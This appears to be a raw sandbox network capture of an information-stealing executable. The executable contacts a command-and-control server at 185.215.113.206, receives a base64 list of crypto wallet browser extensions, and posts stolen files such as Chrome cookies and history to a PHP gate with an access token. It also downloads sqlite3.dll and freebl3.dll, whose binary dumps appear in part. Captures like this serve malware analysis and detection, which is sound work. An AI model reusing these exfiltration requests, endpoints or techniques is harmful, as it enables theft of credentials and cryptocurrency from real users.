TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 17:44:12.619739056 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 17:44:12.619764090 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 17:44:12.619782925 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 23, 2024 17:44:12.619800091 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 17:44:12.619821072 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 17:44:12.621690989 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="message"fplugins------JEHIJJKEGHJJKECBKECF--
Nov 23, 2024 17:44:13.159033060 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 17:44:13.181189060 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 185.215.113.206 Content-Length: 5487 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 17:44:13.181231022 CET	5487	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 17:44:14.274283886 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:14.533968925 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:15.003240108 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 17:44:15.003277063 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 17:44:15.007370949 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 23, 2024 17:44:15.007478952 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.206	80	2080	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 17:44:24.739296913 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJKEHJJDAAKFHIDAKFH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4b 45 48 4a 4a 44 41 41 4b 46 48 49 44 41 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIJKEHJJDAAKFHIDAKFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIJKEHJJDAAKFHIDAKFH--
Nov 23, 2024 17:44:26.625735998 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:26.709376097 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 17:44:26.709449053 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 23, 2024 17:44:27.686223030 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:27.704157114 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCBAAAFHJDHJJKEBGHI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 42 41 41 41 46 48 4a 44 48 4a 4a 4b 45 42 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EHCBAAAFHJDHJJKEBGHIContent-Disposition: form-data; name="file"------EHCBAAAFHJDHJJKEBGHI--
Nov 23, 2024 17:44:28.668670893 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:29.131340027 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 35 32 38 65 64 63 30 65 30 30 65 39 61 35 64 32 37 37 34 61 39 61 31 63 33 39 33 61 31 32 66 63 65 35 66 33 33 37 31 38 30 64 30 38 37 33 34 65 36 32 30 37 35 36 63 32 37 33 35 30 34 35 35 35 39 63 33 62 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"df528edc0e00e9a5d2774a9a1c393a12fce5f337180d08734e620756c2735045559c3b21------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="file"------JKKFIIEBKEGIEBFIJKFI--
Nov 23, 2024 17:44:30.079761028 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 17:44:30.372514009 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 17:44:30.828917980 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:44:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 23, 2024 17:44:30.829015970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 23, 2024 17:44:30.829080105 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 23, 2024 17:44:30.829097033 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 23, 2024 17:44:30.829113007 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 23, 2024 17:44:30.829174042 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 23, 2024 17:44:30.829190016 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
